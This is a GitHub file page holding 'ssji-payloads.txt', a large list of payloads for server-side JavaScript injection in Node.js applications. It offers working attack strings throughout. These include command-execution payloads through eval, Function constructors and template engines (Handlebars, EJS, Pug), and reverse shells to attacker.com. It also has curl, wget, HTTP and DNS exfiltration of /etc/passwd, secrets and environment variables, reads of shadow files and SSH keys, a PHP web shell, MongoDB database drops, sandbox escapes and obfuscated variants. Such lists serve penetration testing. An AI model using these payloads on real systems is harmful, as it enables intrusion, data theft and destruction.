-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathssji-payloads.txt
More file actions
411 lines (325 loc) · 12.7 KB
/
Copy pathssji-payloads.txt
File metadata and controls
411 lines (325 loc) · 12.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
# Server-Side JavaScript Injection (SSJI) Payloads
# ============================================
# 1. BASIC eval() INJECTION
# ============================================
# Simple expressions
2+2
Math.random()
Date.now()
JSON.stringify({})
# Information disclosure
process.version
process.platform
process.arch
process.pid
process.cwd()
process.env
global
this
# File system access
require('fs').readFileSync('/etc/passwd', 'utf8')
require('fs').readFileSync('/etc/shadow', 'utf8')
require('fs').readFileSync('/proc/self/environ', 'utf8')
require('fs').readdirSync('/').toString()
require('fs').readdirSync('/home').toString()
require('fs').readFileSync('package.json', 'utf8')
require('fs').readFileSync('.env', 'utf8')
# ============================================
# 2. REMOTE CODE EXECUTION (RCE)
# ============================================
# Basic command execution
require('child_process').execSync('whoami').toString()
require('child_process').execSync('id').toString()
require('child_process').execSync('pwd').toString()
require('child_process').execSync('ls -la').toString()
require('child_process').execSync('cat /etc/passwd').toString()
require('child_process').execSync('uname -a').toString()
# Reverse shell
require('child_process').exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1')
require('child_process').exec('nc -e /bin/bash attacker.com 4444')
require('child_process').spawn('nc', ['-e', '/bin/bash', 'attacker.com', '4444'])
# Data exfiltration
require('child_process').execSync('curl attacker.com/?data=$(cat /etc/passwd|base64)').toString()
require('child_process').execSync('wget --post-file=/etc/passwd attacker.com').toString()
# Write backdoor
require('fs').writeFileSync('/tmp/backdoor.js', 'malicious code')
require('fs').writeFileSync('shell.php', '<?php system($_GET["cmd"]); ?>')
# ============================================
# 3. FUNCTION CONSTRUCTOR INJECTION
# ============================================
# Basic Function constructor
new Function('return 2+2')()
new Function('return process.version')()
new Function('return require("os").userInfo()')()
# RCE via Function constructor
new Function('return require("child_process").execSync("whoami").toString()')()
new Function('return global.process.mainModule.require("child_process").execSync("id").toString()')()
# ============================================
# 4. MONGODB $where INJECTION
# ============================================
# Basic MongoDB injection
admin' || '1'=='1
' || true || '
' || '1'=='1' || '
'; return true; //
admin'; return true; //
# MongoDB data exfiltration
'; return this.password.match(/^a/); //
'; return this.email.includes("admin"); //
'; return this.role == "admin"; //
# MongoDB enumeration
'; var users = db.users.find(); return true; //
'; db.users.find().forEach(function(u){print(u)}); return true; //
# MongoDB command execution (if possible)
'; require('child_process').execSync('whoami'); return true; //
'; var fs = require('fs'); fs.readFileSync('/etc/passwd'); return true; //
# MongoDB DoS
'; while(true){}; //
'; db.users.drop(); return true; //
'; db.dropDatabase(); return true; //
# ============================================
# 5. TEMPLATE INJECTION (HANDLEBARS)
# ============================================
# Handlebars RCE
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
# Simplified Handlebars payload
{{this}}
{{this.constructor}}
{{this.constructor.constructor}}
# ============================================
# 6. EJS TEMPLATE INJECTION
# ============================================
<%= global.process.mainModule.require('child_process').execSync('whoami') %>
<%= require('child_process').execSync('cat /etc/passwd').toString() %>
<%= global.process.mainModule.require('fs').readFileSync('/etc/passwd', 'utf8') %>
<%= process.env %>
<%= JSON.stringify(process.env) %>
# ============================================
# 7. PUG/JADE TEMPLATE INJECTION
# ============================================
#{global.process.mainModule.require('child_process').execSync('id')}
#{function(){return require('child_process').execSync('whoami')}()}
#{require('child_process').execSync('cat /etc/passwd').toString()}
- var x = global.process.mainModule.require('child_process').execSync('ls').toString()
= x
# ============================================
# 8. VM SANDBOX ESCAPE
# ============================================
# Constructor chain escape
this.constructor.constructor('return process')()
this.constructor.constructor('return global')()
({}).constructor.constructor('return this')()
# Process access
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()
(function(){return this.constructor.constructor('return process')()})()
({}).constructor.constructor('return global.process.mainModule.require("child_process").execSync("id").toString()')()
# Alternative escapes
(function(){return this})().constructor.constructor('return process')()
arguments.callee.caller.constructor('return process')()
# ============================================
# 9. PROTOTYPE POLLUTION TO RCE
# ============================================
# Prototype pollution
{"__proto__": {"isAdmin": true}}
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"isAdmin": true}}}
# Pollution leading to RCE
{"__proto__": {"toString": "require('child_process').execSync('whoami').toString()"}}
{"__proto__": {"valueOf": "require('child_process').execSync('id')"}}
# ============================================
# 10. SETTIMEOUT/SETINTERVAL INJECTION
# ============================================
require('child_process').exec('curl attacker.com/?data=$(whoami)')
require('fs').writeFileSync('/tmp/pwned', 'hacked')
require('child_process').execSync('nc attacker.com 4444 -e /bin/bash')
global.process.exit(1)
# ============================================
# 11. REQUIRE VARIATIONS
# ============================================
# Direct require
require('child_process')
require('fs')
require('net')
require('http')
# Global require
global.require('child_process')
global.process.mainModule.require('child_process')
# Module constructor
process.mainModule.constructor._load('child_process')
global.process.mainModule.constructor._load('fs')
# ============================================
# 12. ENVIRONMENT VARIABLE EXFILTRATION
# ============================================
process.env
JSON.stringify(process.env)
process.env.PATH
process.env.HOME
process.env.USER
process.env.SECRET_KEY
process.env.DATABASE_URL
process.env.API_KEY
# ============================================
# 13. FILE READ VARIATIONS
# ============================================
# Read sensitive files
require('fs').readFileSync('/etc/passwd', 'utf8')
require('fs').readFileSync('/etc/shadow', 'utf8')
require('fs').readFileSync('/etc/hosts', 'utf8')
require('fs').readFileSync('/proc/self/environ', 'utf8')
require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf8')
require('fs').readFileSync('config/database.yml', 'utf8')
require('fs').readFileSync('.env', 'utf8')
require('fs').readFileSync('package.json', 'utf8')
# Directory listing
require('fs').readdirSync('/').toString()
require('fs').readdirSync('/etc').toString()
require('fs').readdirSync('/home').toString()
require('fs').readdirSync('.').toString()
# ============================================
# 14. COMMAND INJECTION VIA CHILD_PROCESS
# ============================================
# exec variations
require('child_process').exec('cat /etc/passwd', (e,o)=>console.log(o))
require('child_process').execSync('whoami').toString()
require('child_process').execFileSync('ls', ['-la']).toString()
# spawn variations
require('child_process').spawn('cat', ['/etc/passwd'])
require('child_process').spawnSync('id').stdout.toString()
# ============================================
# 15. NETWORK OPERATIONS
# ============================================
# HTTP request
require('http').get('http://attacker.com/?data=exfiltrated')
require('https').get('https://attacker.com/?data=' + process.env.SECRET)
# DNS exfiltration
require('dns').resolve4(process.env.SECRET + '.attacker.com')
# Socket connection
require('net').connect(4444, 'attacker.com')
# ============================================
# 16. PROCESS MANIPULATION
# ============================================
process.exit(1)
process.kill(process.pid)
process.chdir('/')
process.binding('spawn_sync')
# ============================================
# 17. CRYPTO MODULE ACCESS
# ============================================
require('crypto').randomBytes(16).toString('hex')
require('crypto').getHashes()
require('crypto').getCiphers()
# ============================================
# 18. OS MODULE ACCESS
# ============================================
require('os').userInfo()
require('os').hostname()
require('os').platform()
require('os').arch()
require('os').cpus()
require('os').networkInterfaces()
require('os').tmpdir()
require('os').homedir()
# ============================================
# 19. PATH MODULE FOR TRAVERSAL
# ============================================
require('path').resolve('/etc/passwd')
require('path').join(__dirname, '../../../etc/passwd')
# ============================================
# 20. MONGODB SPECIFIC INJECTIONS
# ============================================
# $function aggregation (MongoDB 4.4+)
{$function: {
body: function() { return require('child_process').execSync('whoami').toString(); },
args: [],
lang: "js"
}}
# mapReduce injection
{
map: function() { require('child_process').exec('curl attacker.com/?data=pwned'); emit(this._id, 1); },
reduce: function(k, v) { return Array.sum(v); }
}
# ============================================
# 21. EXPRESS SPECIFIC
# ============================================
# res.render with unsafe data
<%= user.input %>
#{user.input}
{{user.input}}
# ============================================
# 22. WEBPACK/BUNDLER SPECIFIC
# ============================================
__webpack_require__
__non_webpack_require__
# ============================================
# 23. ELECTRON SPECIFIC
# ============================================
require('electron').remote.require('child_process')
require('electron').ipcRenderer.send('exploit')
# ============================================
# 24. OBFUSCATED PAYLOADS
# ============================================
# String concatenation
req+'uire'('child_'+'process').exec('whoami')
# Unicode escaping
require('\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073')
# Hex encoding
require(Buffer.from('6368696c645f70726f63657373', 'hex').toString())
# Base64
require(Buffer.from('Y2hpbGRfcHJvY2Vzcw==', 'base64').toString())
# Computed property access
global['pro'+'cess'].mainModule['req'+'uire']('child_process')
# ============================================
# 25. NESTING AND CHAINING
# ============================================
require('child_process').exec('wget http://attacker.com/shell.sh -O /tmp/s.sh && bash /tmp/s.sh')
require('child_process').execSync('curl attacker.com/$(cat /etc/passwd | base64)').toString()
# ============================================
# 26. TIME-BASED BLIND SSJI
# ============================================
require('child_process').execSync('sleep 5')
setTimeout(function(){}, 5000)
require('child_process').execSync('ping -c 5 attacker.com')
# ============================================
# 27. OUT-OF-BAND DATA EXFILTRATION
# ============================================
require('child_process').execSync('curl attacker.com -d "$(cat /etc/passwd)"')
require('child_process').execSync('wget --post-data="$(env)" attacker.com')
require('child_process').execSync('nslookup $(whoami).attacker.com')
# ============================================
# 28. WRITESTREAM FOR PERSISTENCE
# ============================================
require('fs').createWriteStream('/tmp/backdoor.js').write('malicious code')
# ============================================
# 29. REGEX DOS (ReDoS) via SSJI
# ============================================
/(a+)+b/.test('aaaaaaaaaaaaaaaaaaaaaa!')
/(a|a)*b/.test('aaaaaaaaaaaaaaaaaaaaaa!')
# ============================================
# 30. TESTING PAYLOADS
# ============================================
# Detection payloads
throw new Error('SSJI Test')
console.log('SSJI_TEST_' + Date.now())
require('fs').writeFileSync('/tmp/ssji_test_' + Date.now(), 'test')
# Simple arithmetic to confirm execution
7*7
Math.sqrt(16)
[1,2,3].join(',')